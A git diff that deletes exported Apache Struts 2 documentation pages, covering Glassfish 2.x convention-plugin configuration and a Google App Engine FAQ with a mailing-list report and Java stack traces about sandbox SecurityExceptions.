-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811855">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811855">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811855">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>THIS PAGE IS DEPRECATED, PLEASE FOLLOW THE LINK TO THE NEW GETTING STARTED GUIDE!</p><p><a shape="rect" class="external-link" href="http://struts.apache.org/getting-started/">http://struts.apache.org/getting-started/</a></p>< [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/glassfish-2x.html b/content/docs/glassfish-2x.html
deleted file mode 100644
index ef4f306..0000000
--- a/content/docs/glassfish-2x.html
+++ /dev/null
@@ -1,155 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Glassfish 2.x</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="application-servers.html">Application Servers</a>&nbsp;&gt;&nbsp;<a href="glassfish-2x.html">Glassfish 2.x</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Glassfish 2.x</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=40505336">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=40505336">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=40505336">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=40505336">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=40505336">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=40505336">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h3 id="Glassfish2.x-Conventionpluginsupport">Convention plugin support</h3><p>To have proper support of the&#160;<a shape="rect" href="convention-plugin.html">Convention Plugin</a>&#160;in Glassfish 2.x when packed as EAR archive add the following constant to <code>struts.xml</code></p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.convention.exclude.parentClassLoader" value="false" /&gt;
-</pre>
-</div></div><p>Thanks to&#160;<a shape="rect" class="external-link" href="http://stackoverflow.com/a/22490925/1805267" rel="nofollow">pavpal</a>!</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/google-app-engine-gae.html b/content/docs/google-app-engine-gae.html
deleted file mode 100644
index accd085..0000000
--- a/content/docs/google-app-engine-gae.html
+++ /dev/null
@@ -1,355 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Google App Engine (GAE)</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="google-app-engine-gae.html">Google App Engine (GAE)</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Google App Engine (GAE)</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=114612">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=114612">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=114612">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=114612">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=114612">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=114612">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>It is possible to run, at least, a simple Struts 2 application on GAE with a little work.  Namely, you need to tell OGNL to not do security manager permission checks, which will fail since GAE has a security manager and you don't have the ability to add the OGNL-specific permissions.  Therefore, somewhere in your initialization code, add this:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-OgnlRuntime.setSecurityManager(null);
-</pre>
-</div></div>
-
-<p>The easiest place for this is in a Servlet context listener, executing when the context is initialized.</p>
-
-<p>For Struts 2.1.8, Jeromy Evans did some work to get things running on GAE. The following post on the mailing list reports both the issues and the workarounds.</p>
-
-<h3 id="GoogleAppEngine(GAE)-IssueswhendeployingonGAE">Issues when deploying on GAE</h3>
-
-<p>Jeromy Evans: I've put in some more effort to get Struts 2.1.8 snapshot running in live GAE environment.  I made progress moving to Sitemesh 2.4.2, disabling OgnlRuntime SecurityManager and moving to convention-2.1.8-SNAPSHOT (WW-3114)</p>
-
-<p>The next issue is that XWorks XMLConfigurationProvider throws a SecurityException on the following line (211):</p>
-
-<p>// Force loading of class to detect no class def found exceptions<br clear="none">
-cimpl.getDeclaredConstructors();</p>
-
-<p>SecurityException: Unable to get members for o.a.s.c.PackageBasedActionConfigBuilder</p>
-
-<p>cimpl is the Class of the ActionConfigBuilder bean specified in struts-plugin.xml and loaded by ClassLoaderTools.  I believe this is a technique to eagerly load the class.</p>
-
-<p>I'm not sure why that's access is not permitted in the sandbox. It's not documented anywhere I can see and It only occurs in the live environment.</p>
-
-<p>As a work-around (guess), I changed it to cimpl.getDeclaredClasses() instead which is permitted (I don't know if this has the same effect on the ClassLoader).  That got me past the issue above, but the same SecurityException occurs in XWork's ContainerImpl$ConstructorInjector.findConstructorIn():<br clear="none">
-SecurityException: Unable to get members for Class o.a.s.v.v.VelocityManager</p>
-
-<p>which seems to be a fundamental problem with XWork's constructor injection in GAE.</p>
-
-<p>As a side note,  Guice 2's constructor injection works okay in GAE. I imagine the Guice 2 codebase is now very different beast than XWork's IOC though.</p>
-
-<p>I guess I need to approach the GAE forum now.  Has anyone got any ideas about what to attempt next on the S2/Xwork side?  Stack traces for the two cases are below.</p>
-
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre> 
-Failed startup of context com.google.apphosting.utils.jetty.RuntimeAppEngineWebAppContext@67fe80{/,/base/data/home/apps/{appname}/1.335834217966711427}
-Unable to load configuration. - bean - jar:file:/base/data/home/apps/{appname}/1.335834217966711427/WEB-INF/lib/struts2-convention-plugin-2.1.8-SNAPSHOT.jar!/struts-plugin.xml:32:155
-       at org.apache.struts2.dispatcher.Dispatcher.init(Dispatcher.java:431)
-       at org.apache.struts2.dispatcher.ng.InitOperations.initDispatcher(InitOperations.java:69)
-       at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareFilter.init(StrutsPrepareFilter.java:50)
-       at com.google.inject.servlet.FilterDefinition.init(FilterDefinition.java:81)
-       at com.google.inject.servlet.ManagedFilterPipeline.initPipeline(ManagedFilterPipeline.java:102)
-       at com.google.inject.servlet.GuiceFilter.init(GuiceFilter.java:168)
-       at org.mortbay.jetty.servlet.FilterHolder.doStart(FilterHolder.java:99)
-       at org.mortbay.component.AbstractLifeCycle.start(AbstractLifeCycle.java:40)
-       at org.mortbay.jetty.servlet.ServletHandler.initialize(ServletHandler.java:589)
-       at org.mortbay.jetty.servlet.Context.startContext(Context.java:139)
-       at org.mortbay.jetty.webapp.WebAppContext.startContext(WebAppContext.java:1218)
-       at org.mortbay.jetty.handler.ContextHandler.doStart(ContextHandler.java:500)
-       at org.mortbay.jetty.webapp.WebAppContext.doStart(WebAppContext.java:448)
-       at org.mortbay.component.AbstractLifeCycle.start(AbstractLifeCycle.java:40)
-       at com.google.apphosting.runtime.jetty.AppVersionHandlerMap.createHandler(AppVersionHandlerMap.java:190)
-       at com.google.apphosting.runtime.jetty.AppVersionHandlerMap.getHandler(AppVersionHandlerMap.java:167)
-       at com.google.apphosting.runtime.jetty.JettyServletEngineAdapter.serviceRequest(JettyServletEngineAdapter.java:127)
-       at com.google.apphosting.runtime.JavaRuntime.handleRequest(JavaRuntime.java:235)
-       at com.google.apphosting.base.RuntimePb$EvaluationRuntime$6.handleBlockingRequest(RuntimePb.java:4823)
-       at com.google.apphosting.base.RuntimePb$EvaluationRuntime$6.handleBlockingRequest(RuntimePb.java:4821)
-       at com.google.net.rpc.impl.BlockingApplicationHandler.handleRequest(BlockingApplicationHandler.java:24)
-       at com.google.net.rpc.impl.RpcUtil.runRpcInApplication(RpcUtil.java:359)
-       at com.google.net.rpc.impl.Server$2.run(Server.java:820)
-       at com.google.tracing.LocalTraceSpanRunnable.run(LocalTraceSpanRunnable.java:56)
-       at com.google.tracing.LocalTraceSpanBuilder.internalContinueSpan(LocalTraceSpanBuilder.java:516)
-       at com.google.net.rpc.impl.Server.startRpc(Server.java:775)
-       at com.google.net.rpc.impl.Server.processRequest(Server.java:348)
-       at com.google.net.rpc.impl.ServerConnection.messageReceived(ServerConnection.java:436)
-       at com.google.net.rpc.impl.RpcConnection.parseMessages(RpcConnection.java:319)
-       at com.google.net.rpc.impl.RpcConnection.dataReceived(RpcConnection.java:290)
-       at com.google.net.async.Connection.handleReadEvent(Connection.java:428)
-       at com.google.net.async.EventDispatcher.processNetworkEvents(EventDispatcher.java:762)
-       at com.google.net.async.EventDispatcher.internalLoop(EventDispatcher.java:207)
-       at com.google.net.async.EventDispatcher.loop(EventDispatcher.java:101)
-       at com.google.net.rpc.RpcService.runUntilServerShutdown(RpcService.java:251)
-       at com.google.apphosting.runtime.JavaRuntime$RpcRunnable.run(JavaRuntime.java:374)
-       at java.lang.Thread.run(Unknown Source)
-Caused by: Unable to load configuration. - bean - jar:file:/base/data/home/apps/{appname}/1.335834217966711427/WEB-INF/lib/struts2-convention-plugin-2.1.8-SNAPSHOT.jar!/struts-plugin.xml:32:155
-       at com.opensymphony.xwork2.config.ConfigurationManager.getConfiguration(ConfigurationManager.java:58)
-       at org.apache.struts2.dispatcher.Dispatcher.init_PreloadConfiguration(Dispatcher.java:374)
-       at org.apache.struts2.dispatcher.Dispatcher.init(Dispatcher.java:418)
-       ... 36 more
-Caused by: Unable to load bean: type:org.apache.struts2.convention.ActionConfigBuilder class:org.apache.struts2.convention.PackageBasedActionConfigBuilder - bean - jar:file:/base/data/home/apps/{appname}/1.335834217966711427/WEB-INF/lib/struts2-convention-plugin-2.1.8-SNAPSHOT.jar!/struts-plugin.xml:32:155
-       at com.opensymphony.xwork2.config.providers.XmlConfigurationProvider.register(XmlConfigurationProvider.java:222)
-       at org.apache.struts2.config.StrutsXmlConfigurationProvider.register(StrutsXmlConfigurationProvider.java:101)
-       at com.opensymphony.xwork2.config.impl.DefaultConfiguration.reloadContainer(DefaultConfiguration.java:165)
-       at com.opensymphony.xwork2.config.ConfigurationManager.getConfiguration(ConfigurationManager.java:55)
-       ... 38 more
-Caused by: java.lang.SecurityException: Unable to get members for class org.apache.struts2.convention.PackageBasedActionConfigBuilder
-       at com.google.apphosting.runtime.security.shared.intercept.java.lang.Class_$10.run(Class_.java:357)
-       at com.google.apphosting.runtime.security.shared.intercept.java.lang.Class_$10.run(Class_.java:347)
-       at java.security.AccessController.doPrivileged(Native Method)
-       at com.google.apphosting.runtime.security.shared.intercept.java.lang.Class_.getMembers(Class_.java:347)
-       at com.google.apphosting.runtime.security.shared.intercept.java.lang.Class_.getDeclaredConstructors(Class_.java:192)
-       at com.opensymphony.xwork2.config.providers.XmlConfigurationProvider.register(XmlConfigurationProvider.java:212)
-       ... 41 more
-</pre>
-</div></div> 
-
-<p>&#8212; case two &#8212;</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre> 
-{
-[{appname}/1.335835094531171610].&lt;stdout&gt;: 642  [Runtime Network Thread] ERROR org.apache.struts2.dispatcher.Dispatcher  - Dispatcher initialization failed
-java.lang.RuntimeException: java.lang.RuntimeException: java.lang.RuntimeException: java.lang.SecurityException: Unable to get members for class org.apache.struts2.views.velocity.VelocityManager
-       at com.opensymphony.xwork2.inject.ContainerImpl$MethodInjector.inject(ContainerImpl.java:295)
-       at com.opensymphony.xwork2.inject.ContainerImpl$2.call(ContainerImpl.java:104)
-       at com.opensymphony.xwork2.inject.ContainerImpl$2.call(ContainerImpl.java:102)
-       at com.opensymphony.xwork2.inject.ContainerImpl.callInContext(ContainerImpl.java:574)
-       at com.opensymphony.xwork2.inject.ContainerImpl.injectStatics(ContainerImpl.java:101)
-       at com.opensymphony.xwork2.inject.ContainerBuilder.create(ContainerBuilder.java:493)
-       at com.opensymphony.xwork2.config.impl.DefaultConfiguration.reloadContainer(DefaultConfiguration.java:184)
-       at com.opensymphony.xwork2.config.ConfigurationManager.getConfiguration(ConfigurationManager.java:55)
-       at org.apache.struts2.dispatcher.Dispatcher.init_PreloadConfiguration(Dispatcher.java:374)
-       at org.apache.struts2.dispatcher.Dispatcher.init(Dispatcher.java:418)
-       at org.apache.struts2.dispatcher.ng.InitOperations.initDispatcher(InitOperations.java:69)
-       at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareFilter.init(StrutsPrepareFilter.java:50)
-       at com.google.inject.servlet.FilterDefinition.init(FilterDefinition.java:81)
-       at com.google.inject.servlet.ManagedFilterPipeline.initPipeline(ManagedFilterPipeline.java:102)
-       at com.google.inject.servlet.GuiceFilter.init(GuiceFilter.java:168)
-       at org.mortbay.jetty.servlet.FilterHolder.doStart(FilterHolder.java:99)
-       at org.mortbay.component.AbstractLifeCycle.start(AbstractLifeCycle.java:40)
-       at org.mortbay.jetty.servlet.ServletHandler.initialize(ServletHandler.java:589)
-       at org.mortbay.jetty.servlet.Context.startContext(Context.java:139)
-       at org.mortbay.jetty.webapp.WebAppContext.startContext(WebAppContext.java:1218)
-       at org.mortbay.jetty.handler.ContextHandler.doStart(ContextHandler.java:500)
-       at org.mortbay.jetty.webapp.WebAppContext.doStart(WebAppContext.java:448)
-       at org.mortbay.component.AbstractLifeCycle.start(AbstractLifeCycle.java:40)
-       at com.google.apphosting.runtime.jetty.AppVersionHandlerMap.createHandler(AppVersionHandlerMap.java:190)
-       at com.google.apphosting.runtime.jetty.AppVersionHandlerMap.getHandler(AppVersionHandlerMap.java:167)
-       at com.google.apphosting.runtime.jetty.JettyServletEngineAdapter.serviceRequest(JettyServletEngineAdapter.java:127)
-       at com.google.apphosting.runtime.JavaRuntime.handleRequest(JavaRuntime.java:235)
-       at com.google.apphosting.base.RuntimePb$EvaluationRuntime$6.handleBlockingRequest(RuntimePb.java:4823)
-       at com.google.apphosting.base.RuntimePb$EvaluationRuntime$6.handleBlockingRequest(RuntimePb.java:4821)
-       at com.google.net.rpc.impl.BlockingApplicationHandler.handleRequest(BlockingApplicationHandler.java:24)
-       at com.google.net.rpc.impl.RpcUtil.runRpcInApplication(RpcUtil.java:359)
-       at com.google.net.rpc.impl.Server$2.run(Server.java:820)
-       at com.google.tracing.LocalTraceSpanRunnable.run(LocalTraceSpanRunnable.java:56)
-       at com.google.tracing.LocalTraceSpanBuilder.internalContinueSpan(LocalTraceSpanBuilder.java:516)
-       at com.google.net.rpc.impl.Server.startRpc(Server.java:775)
-       at com.google.net.rpc.impl.Server.processRequest(Server.java:348)
-       at com.google.net.rpc.impl.ServerConnection.messageReceived(ServerConnection.java:436)
-       at com.google.net.rpc.impl.RpcConnection.parseMessages(RpcConnection.java:319)
-       at com.google.net.rpc.impl.RpcConnection.dataReceived(RpcConnection.java:290)
-       at com.google.net.async.Connection.handleReadEvent(Connection.java:428)
-       at com.google.net.async.EventDispatcher.processNetworkEvents(EventDispatcher.java:762)
-       at com.google.net.async.EventDispatcher.internalLoop(EventDispatcher.java:207)
-       at com.google.net.async.EventDispatcher.loop(EventDispatcher.java:101)
-       at com.google.net.rpc.RpcService.runUntilServerShutdown(RpcService.java:251)
-       at com.google.apphosting.runtime.JavaRuntime$RpcRunnable.run(JavaRuntime.java:374)
-       at java.lang.Thread.run(Unknown Source)
-Caused by: java.lang.RuntimeException: java.lang.RuntimeException: java.lang.SecurityException: Unable to get members for class org.apache.struts2.views.velocity.VelocityManager
-       at com.opensymphony.xwork2.inject.ContainerBuilder$4.create(ContainerBuilder.java:132)
-       at com.opensymphony.xwork2.inject.Scope$2$1.create(Scope.java:51)
-       at com.opensymphony.xwork2.inject.ContainerImpl$ParameterInjector.inject(ContainerImpl.java:462)
-       at com.opensymphony.xwork2.inject.ContainerImpl.getParameters(ContainerImpl.java:477)
-       at com.opensymphony.xwork2.inject.ContainerImpl.access$000(ContainerImpl.java:34)
-       at com.opensymphony.xwork2.inject.ContainerImpl$MethodInjector.inject(ContainerImpl.java:293)
-       ... 45 more
-Caused by: java.lang.RuntimeException: java.lang.SecurityException: Unable to get members for class org.apache.struts2.views.velocity.VelocityManager
-       at com.opensymphony.xwork2.inject.ContainerImpl.inject(ContainerImpl.java:495)
-       at com.opensymphony.xwork2.inject.ContainerImpl$7.call(ContainerImpl.java:532)
-       at com.opensymphony.xwork2.inject.ContainerImpl.callInContext(ContainerImpl.java:581)
-       at com.opensymphony.xwork2.inject.ContainerImpl.inject(ContainerImpl.java:530)
-       at com.opensymphony.xwork2.config.impl.LocatableFactory.create(LocatableFactory.java:32)
-       at com.opensymphony.xwork2.inject.ContainerBuilder$4.create(ContainerBuilder.java:130)
-       ... 50 more
-Caused by: java.lang.SecurityException: Unable to get members for class org.apache.struts2.views.velocity.VelocityManager
-       at com.google.apphosting.runtime.security.shared.intercept.java.lang.Class_$10.run(Class_.java:357)
-       at com.google.apphosting.runtime.security.shared.intercept.java.lang.Class_$10.run(Class_.java:347)
-       at java.security.AccessController.doPrivileged(Native Method)
-       at com.google.apphosting.runtime.security.shared.intercept.java.lang.Class_.getMembers(Class_.java:347)
